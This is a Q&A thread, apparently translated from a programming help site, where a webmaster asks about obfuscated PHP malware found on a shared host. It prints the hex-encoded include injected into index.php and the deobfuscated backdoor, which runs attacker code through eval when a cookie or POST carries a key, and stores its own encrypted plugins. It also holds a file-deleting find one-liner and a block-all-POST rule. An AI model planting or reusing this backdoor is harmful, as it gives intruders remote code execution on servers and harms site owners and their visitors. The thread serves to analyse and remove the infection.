2017-04-04 167 views
3

我有三个网站都托管在同一个网络服务器上。最近我正在其中一个网站上工作,并注意到,大约一个月前,一堆文件已被更改。具体来说,index.html的所有实例已被重命名为index.html.bak.bak,并且index.php文件已被放入其位置。 index.php文件比较简单;它们包括某处隐藏在每个网站的文件系统中的文件(貌似随机文件夹)这就是被混淆与JS十六进制编码,然后回显原始的index.html:我的网站感染了混淆的PHP恶意软件 - 它在做什么+我该如何摆脱它?

<?php 
/*2d4f2*/ 

@include "\x2fm\x6et\x2fs\x74o\x721\x2dw\x631\x2dd\x66w\x31/\x338\x304\x323\x2f4\x365\x380\x39/\x77w\x77.\x77e\x62s\x69t\x65.\x63o\x6d/\x77e\x62/\x63o\x6et\x65n\x74/\x77p\x2di\x6ec\x6cu\x64e\x73/\x6as\x2fs\x77f\x75p\x6co\x61d\x2ff\x61v\x69c\x6fn\x5f2\x391\x337\x32.\x69c\x6f"; 

/*2d4f2*/ 


echo file_get_contents('index.html.bak.bak'); 

所包含的文件在这里是

/mnt/*snip*/www.website.com/web/content/wp-includes/js/swfupload/favicon_291372.ico

另一个域,它是

/mnt/*snip*/www.website2.com/web/content/wiki/maintenance/hiphop/favicon_249bed.ico

因为您可能大概猜测,这些实际上不是favicons - 它们只是具有不同扩展名的php文件。现在,我不知道这些文件的作用(这就是我在这里问的原因)。他们完全被混淆了,但https://malwaredecoder.com/似乎能够破解它。 The results can be found here,但我已经粘贴了以下去模糊代码:

@ini_set('error_log', NULL); 
@ini_set('log_errors', 0); 
@ini_set('max_execution_time', 0); 
@error_reporting(0); 
@set_time_limit(0); 


if(!defined("PHP_EOL")) 
{ 
    define("PHP_EOL", "\n"); 
} 

if(!defined("DIRECTORY_SEPARATOR")) 
{ 
    define("DIRECTORY_SEPARATOR", "/"); 
} 

if (!defined('ALREADY_RUN_144c87cf623ba82aafi68riab16atio18')) 
{ 
    define('ALREADY_RUN_144c87cf623ba82aafi68riab16atio18', 1); 

    $data = NULL; 
    $data_key = NULL; 

    $GLOBALS['cs_auth'] = '8debdf89-dfb8-4968-8667-04713f279109'; 
    global $cs_auth; 


    if (!function_exists('file_put_contents')) 
    { 
     function file_put_contents($n, $d, $flag = False) 
     { 
      $mode = $flag == 8 ? 'a' : 'w'; 
      $f = @fopen($n, $mode); 
      if ($f === False) 
      { 
       return 0; 
      } 
      else 
      { 
       if (is_array($d)) $d = implode($d); 
       $bytes_written = fwrite($f, $d); 
       fclose($f); 
       return $bytes_written; 
      } 
     } 
    } 

    if (!function_exists('file_get_contents')) 
    { 
     function file_get_contents($filename) 
     { 
      $fhandle = fopen($filename, "r"); 
      $fcontents = fread($fhandle, filesize($filename)); 
      fclose($fhandle); 

      return $fcontents; 
     } 
    } 
    function cs_get_current_filepath() 
    { 
     return trim(preg_replace("/\(.*\$/", '', __FILE__)); 
    } 

    function cs_decrypt_phase($data, $key) 
    { 
     $out_data = ""; 

     for ($i=0; $i<strlen($data);) 
     { 
      for ($j=0; $j<strlen($key) && $i<strlen($data); $j++, $i++) 
      { 
       $out_data .= chr(ord($data[$i])^ord($key[$j])); 
      } 
     } 

     return $out_data; 
    } 

    function cs_decrypt($data, $key) 
    { 
     global $cs_auth; 

     return cs_decrypt_phase(cs_decrypt_phase($data, $key), $cs_auth); 
    } 
    function cs_encrypt($data, $key) 
    { 
     global $cs_auth; 

     return cs_decrypt_phase(cs_decrypt_phase($data, $cs_auth), $key); 
    } 

    function cs_get_plugin_config() 
    { 
     $self_content = @file_get_contents(cs_get_current_filepath()); 

     $config_pos = strpos($self_content, md5(cs_get_current_filepath())); 
     if ($config_pos !== FALSE) 
     { 
      $config = substr($self_content, $config_pos + 32); 
      $plugins = @unserialize(cs_decrypt(base64_decode($config), md5(cs_get_current_filepath()))); 
     } 
     else 
     { 
      $plugins = Array(); 
     } 

     return $plugins; 
    } 

    function cs_set_plugin_config($plugins) 
    { 
     $config_enc = base64_encode(cs_encrypt(@serialize($plugins), md5(cs_get_current_filepath()))); 
     $self_content = @file_get_contents(cs_get_current_filepath()); 

     $config_pos = strpos($self_content, md5(cs_get_current_filepath())); 
     if ($config_pos !== FALSE) 
     { 
      $config_old = substr($self_content, $config_pos + 32); 
      $self_content = str_replace($config_old, $config_enc, $self_content); 

     } 
     else 
     { 
      $self_content = $self_content . "\n\n//" . md5(cs_get_current_filepath()) . $config_enc; 
     } 

     @file_put_contents(cs_get_current_filepath(), $self_content); 
    } 

    function cs_plugin_add($name, $base64_data) 
    { 
     $plugins = cs_get_plugin_config(); 

     $plugins[$name] = base64_decode($base64_data); 

     cs_set_plugin_config($plugins); 
    } 

    function cs_plugin_rem($name) 
    { 
     $plugins = cs_get_plugin_config(); 

     unset($plugins[$name]); 

     cs_set_plugin_config($plugins); 
    } 

    function cs_plugin_load($name=NULL) 
    { 
     foreach (cs_get_plugin_config() as $pname=>$pcontent) 
     { 
      if ($name) 
      { 
       if (strcmp($name, $pname) == 0) 
       { 
        eval($pcontent); 
        break; 
       } 
      } 
      else 
      { 
       eval($pcontent); 
      } 
     } 
    } 

    foreach ($_COOKIE as $key=>$value) 
    { 
     $data = $value; 
     $data_key = $key; 
    } 

    if (!$data) 
    { 
     foreach ($_POST as $key=>$value) 
     { 
      $data = $value; 
      $data_key = $key; 
     } 
    } 

    $data = @unserialize(cs_decrypt(base64_decode($data), $data_key)); 

    if (isset($data['ak']) && $cs_auth==$data['ak']) 
    { 
     if ($data['a'] == 'i') 
     { 
      $i = Array(
       'pv' => @phpversion(), 
       'sv' => '2.0-1', 
       'ak' => $data['ak'], 
      ); 
      echo @serialize($i); 
      exit; 
     } 
     elseif ($data['a'] == 'e') 
     { 
      eval($data['d']); 
     } 
     elseif ($data['a'] == 'plugin') 
     { 
      if($data['sa'] == 'add') 
      { 
       cs_plugin_add($data['p'], $data['d']); 
      } 
      elseif($data['sa'] == 'rem') 
      { 
       cs_plugin_rem($data['p']); 
      } 
     } 
     echo $data['ak']; 

    } 

    cs_plugin_load(); 
} 

此外,有一个叫init5.php在网站的内容的文件夹,其中deobfuscating尽可能之后,成为一个文件:

$GLOBALS['893\Gt3$3'] = $_POST; 
$GLOBALS['S9]<\<\$'] = $_COOKIE; 
@>P>r"$,('$66N6rTNj', NULL); 
@>P>r"$,('TNjr$66N6"', 0); 
@>P>r"$,('k3'r$'$9#,>NPr,>k$', 0); 
@"$,r,>k$rT>k>,(0); 
$w6f96424 = NULL; 
$s02c4f38 = NULL; 
global $y10a790; 
function a31f0($w6f96424, $afb8d) 
{ 
    $p98c0e = ""; 

    for ($r035e7=0; $r035e7<",6T$P($w6f96424);) 
    { 
     for ($l545=0; $l545<",6T$P($afb8d) && $r035e7<",6T$P($w6f96424); $l545++, $r035e7++) 
     { 
      $p98c0e .= 9)6(N6`($w6f96424[$r035e7])^N6`($afb8d[$l545])); 
     } 
    } 

    return $p98c0e; 
} 

function la30956($w6f96424, $afb8d) 
{ 
    global $y10a790; 

    return 3\x9<(3\x9<($w6f96424, $y10a790), $afb8d); 
} 

foreach ($GLOBALS['S9]<\<\$'] as $afb8d=>$ua56c9d) 
{ 
    $w6f96424 = $ua56c9d; 
    $s02c4f38 = $afb8d; 
} 

if (!$w6f96424) 
{ 
    foreach ($GLOBALS['893\Gt3$3'] as $afb8d=>$ua56c9d) 
    { 
     $w6f96424 = $ua56c9d; 
     $s02c4f38 = $afb8d; 
    } 
} 

$w6f96424 = @#P"$6>3T>a$(T3\<]tO(R3"$OIr`$9N`$($w6f96424), $s02c4f38)); 
if (isset($w6f96424['38']) && $y10a790==$w6f96424['38']) 
{ 
    if ($w6f96424['3'] == '>') 
    { 
     $r035e7 = Array(
      '@=' => @@)@=$6">NP(), 
      '"=' => 'x%<Fx', 
     ); 
     echo @"$6>3T>a$($r035e7); 
    } 
    elseif ($w6f96424['3'] == '$') 
    { 
     eval($w6f96424['`']); 
    } 

} 

我看起来有更多混淆的PHP文件,这有点吓人。他们有。即使WordPress的'index.php文件似乎已被感染;混淆的@include已被添加到他们。另外,在其中一个网站上,有一个标题为'ssh'的文件,似乎是某种二进制文件(也许是'ssh'程序本身?)

有人知道这些是或做什么吗?他们是如何得到我的服务器?我怎样才能摆脱他们,并确保他们永远不会回来?

其他一些信息:我的网络主机是笑鱿鱼;我没有shell访问权限。该服务器运行Linux,Apache 2.4和PHP 5.6.29。谢谢!

+7

你有没有文件的备份之前,他们被感染?你最好的选择是核实服务器并重置所有内容。你不知道还有什么可能被感染,所以没有意义寻找或冒险留下任何东西,从头开始。 –

+7

它可能试图向访问您网站的用户提供恶意软件 - *关闭网站*以限制其可以对其他用户造成的损害,确保您拥有任何重要内容的备份,然后*从轨道*核武并重建它从零开始。 – Quietust

+7

更改您的密码以访问您的主机。删除所有文件。从备份还原。请记住,他们现在有你的数据库密码。如果您与主持人访问权限共享,他们可以完全控制您的帐户。 – mkaatman

回答

-1

我也有同样的恶意软件。恶意软件添加或修改的文件有10到15个。我使用Quttera WordPress插件(免费)来查找文件。大多数文件都可以被删除(小心,Quttera id比实际感染的更多),但是一些WordPress文件被修改并且必须被替换。

-1

我还没有找到,如何防止这些文件出现在我的服务器上,但我能够摆脱他们,这里有一个oneliner爬下来的文件夹,并删除它们:

find . -type f -name 'favicon_*.ico' -delete -print 
+1

你应该放弃整个服务器。你不能保存它。 – Falci

-1

我有同样的问题。 这是由恶意的http post请求造成的。 这是一篇关于如何阻止它的好文章:

以下是.htaccess文件中的所有文章请求。 https://perishablepress.com/protect-post-requests/

# deny all POST requests 
<IfModule mod_rewrite.c> 
     RewriteCond %{REQUEST_METHOD} POST 
     RewriteRule .* - [F,L] 
</IfModule> 
+3

这可能会起作用,但它也会阻止大多数网站的工作。某人如何才能停止POST,而不是源自站点自己的页面? – Itai

相关问题